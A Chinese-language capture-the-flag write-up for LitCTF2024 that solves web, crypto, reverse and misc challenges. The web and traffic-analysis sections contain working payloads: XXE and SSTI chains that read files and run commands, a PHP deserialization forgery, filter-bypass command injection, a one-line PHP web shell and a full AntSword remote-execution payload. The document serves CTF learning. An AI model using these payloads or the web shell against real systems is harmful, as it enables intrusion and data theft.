目录

  1. 1. 前言
  2. 2. Web
    1. 2.1. SAS - Serializing Authentication System
    2. 2.2. exx
    3. 2.3. 一个….池子?
    4. 2.4. 浏览器也能套娃?
    5. 2.5. 百万美元的诱惑
    6. 2.6. 高亮主题(划掉)背景查看器
  3. 3. Reverse
    1. 3.1. 编码喵
    2. 3.2. hello_upx (Unsolved)
    3. 3.3. ezrc4 (Unsolved)
  4. 4. Crypto
    1. 4.1. small_e
  5. 5. Misc
    1. 5.1. 涐贪恋和伱、甾―⑺dé毎兮毎秒
    2. 5.2. 舔到最后应有尽有
    3. 5.3. 女装照流量

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

LitCTF2024

2024/6/1 CTF线上赛 SSTI 反序列化 流量分析 XXE
  |     |   总文章阅读量:

前言

又是一年探姬杯

一眼秒了(


Web

SAS - Serializing Authentication System

image-20240601114123216

<?php

class User {
    public $username;
    public $password;
    function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }
    function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }
}
?>

一眼反序列化,代码逻辑很简单,只需要让反序列化的结果$this->username === 'admin' && $this->password === 'secure_password'即可

于是构造我们的payload,设置username和password的值即可:

<?php

class User {
    public $username;
    public $password;
    function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }
}
$a=new User('admin','secure_password');
echo base64_encode(serialize($a));

?>

image-20240601114406222


exx

给了登录框,抓包

image-20240601113830003

post报文是xml的格式,那么一眼xxe,读取flag即可

payload:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>&xxe;</username>
</user>

image-20240601114016450


一个….池子?

image-20240601113446183

无过滤ssti秒了,用__subclasses__查到我们需要的模块os.wrap_close,索引为137

payload:

{{"".__class__.__mro__[1].__subclasses__()[137].__init__.__globals__['popen']("cat /flag").read()}}

image-20240601113708859


浏览器也能套娃?

文件包含

秒不掉!

一开始以为是打xss,然后测了半天

能带出cookie,但是是自己的

<script>document.write('<iframe src=file:///etc/passwd></iframe>');</script>

控制台回显安全错误:位于 http://node1.anna.nssctf.cn:28107/ 的内容不可以加载或者链接至 file:///etc/passwd。

后来想了想,真要打xss那可比其它几题难多了(

于是开始测各种协议,直接file协议读flag了

payload:

url=file:///flag

image-20240601183735275


百万美元的诱惑

RCE

<?php
error_reporting(0);

$a = $_GET['a'];
$b = $_GET['b'];

$c = $_GET['c'];

if ($a !== $b && md5($a) == md5($b)) {
        if (!is_numeric($c) && $c > 2024) {
            echo "好康的";
        } else {
            die("干巴爹干巴爹先辈~");
        }
    }
else {
    die("开胃小菜))");
}

payload:

?a=QNKCDZO&b=240610708&c=2025a

返回./dollar.php

<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
    $x = $_GET['x'];
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
            system("cat ".$x.".php");
    }
}else{
    highlight_file(__FILE__);
}
?>

除了$()以外ban的差不多了,那么就是利用linux下的取反构造命令$(())来构造出12

image-20240601104705595

payload:

?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))
)$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

flag:

<?php
$flag="LitCTF{dollar_d0llar_d0ll@r!!!}";
?>

高亮主题(划掉)背景查看器

文件包含

按一下按钮

image-20240601102412403

发现post传入一个参数theme

image-20240601102317116

参数置空产生报错,发现是用了include包含文件,并且显示了包含的路径

尝试读/etc/passwd

image-20240601102134482

目录穿越得到flag

image-20240601102103677


Reverse

编码喵

换表base64

image-20240601144924786

image-20240601144936359


hello_upx (Unsolved)

upx -d秒不掉,得手动脱壳,开摆


ezrc4 (Unsolved)

开头上了个反调试


Crypto

small_e

from Crypto.Util.number import *
from secret import flag

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 3
c_list = []

for m in flag:
    c_list.append(pow(ord(m),e,n))

print(f"n = {n}")
print(f"c_list = {c_list}")

'''
n = 19041138093915757361446596917618836424321232810490087445558083446664894622882726613154205435993358657711781275735559409274819618824173042980556986038895407758062549819608054613307399838408867855623647751322414190174111523595370113664729594420259754806834656490417292174994337683676504327493103018506242963063671315605427867054873507720342850038307517016687659435974562024973531717274759193577450556292821410388268243304996720337394829726453680432751092955575512372582624694709289019402908986429709116441544332327738968785428501665254894444651547623008530708343210644814773933974042816703834571427534684321229977525229
c_list = [438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561, 1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375, 1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375, 970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631, 1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125]
'''

e=3,低指数加密秒了

exp:

from Crypto.Util.number import *
import gmpy2

n = 19041138093915757361446596917618836424321232810490087445558083446664894622882726613154205435993358657711781275735559409274819618824173042980556986038895407758062549819608054613307399838408867855623647751322414190174111523595370113664729594420259754806834656490417292174994337683676504327493103018506242963063671315605427867054873507720342850038307517016687659435974562024973531717274759193577450556292821410388268243304996720337394829726453680432751092955575512372582624694709289019402908986429709116441544332327738968785428501665254894444651547623008530708343210644814773933974042816703834571427534684321229977525229
e = 3
c_list = [
    438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561,
    1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375,
    1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375,
    970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631,
    1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125
]
k = 0
res = ""
for i in c_list:
    t = gmpy2.iroot(i, e)
    if t[1]:
        bytes = long_to_bytes(t[0])
        dec_str = bytes.decode('utf-8')
        res += dec_str
        print(res)
    else:
        while 1:
            m = gmpy2.iroot(k * n + i, e)
            if m[1]:
                print(long_to_bytes(m[0]))
                break
            else:
                k += 1

flag:LitCTF{you_know_m_equ4l_cub3_root_0f_n}


Misc

涐贪恋和伱、甾―⑺dé毎兮毎秒

stegsolve改通道秒了

image-20240601151626047


舔到最后应有尽有

puzzlesolver秒了

image-20240601161036897


女装照流量

在最后一次http访问的流量中提取出一个zip文件

image-20240601160010559

010导入,然后得到flag.zip,其中有flag.php,但是需要密码

跟踪到/upload.php上传ma.php的步骤

image-20240601154418077

ma.php

<?php
@eval($_POST['LitCtF']);

跟踪下一步操作:

LitCtF=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.e4831d8";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "56"."6f2";echo @asenc($output);echo "37f3c"."b0dcda";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

搜了一下发现是蚁剑的流量,逻辑是每个参数传入的值都去掉前两位再进行base64解密,直接跟到创建flag.zip前的操作

LitCtF=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.a51d841";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "e8a2"."4a4a0";echo @asenc($output);echo "7336e"."3afe3a";}ob_start();try{$p=base64_decode(substr($_POST["da8af99c22690c"],2));$s=base64_decode(substr($_POST["j6d5aaa1b7e5ac"],2));$envstr=@base64_decode(substr($_POST["xf65aaf1672c18"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&da8af99c22690c=pnY21k&j6d5aaa1b7e5ac=OAY2QgL2QgIkM6XFxQcm9ncmFtIEZpbGVzXFxwaHBzdHVkeV9wcm9cXFdXV1xcTGl0Q1RGLXBjYXBuZyImemlwIC1QICJQYVNzdzByZF9MaXRDdEZfTDB2ZWx5X3RhbkppIiBmMWFnLnppcCBmbGFnLnBocCZlY2hvIDFhOTI1JmNkJmVjaG8gNmZmZWIx&xf65aaf1672c18=ST

image-20240601155836218

j6d5aaa1b7e5ac参数进行解密得到zip的密码PaSsw0rd_LitCtF_L0vely_tanJi

得到flag.php

<?php
$flag = "LitCTF{anTsw0rd_fl0w_is_eAsY_f0r_u}";